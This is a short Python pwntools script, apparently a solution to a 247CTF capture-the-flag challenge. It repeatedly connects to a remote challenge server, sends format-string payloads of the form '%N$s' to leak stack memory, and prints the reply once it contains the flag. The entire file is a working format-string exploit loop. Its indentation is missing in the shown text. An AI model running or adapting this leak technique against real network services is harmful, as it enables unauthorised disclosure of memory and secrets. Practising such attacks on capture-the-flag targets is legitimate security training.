25 lines
360 B
Python
25 lines
360 B
Python
#!/usr/bin/python3
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from pwn import *
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context.log_level = 'error'
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# funcs
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s = lambda a: r.sendline(a)
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# buf
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for i in range(1, 100):
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r = remote("5108fea3f4263a9f.247ctf.com", 50099)
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buf = f"%{i}$s".encode()
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try:
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s(buf)
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r.recvuntil(b"back ")
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out = r.recvlineS()
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if "247CTF" in out:
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print(out)
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break
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except:
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pass
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r.close()
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r.interactive() |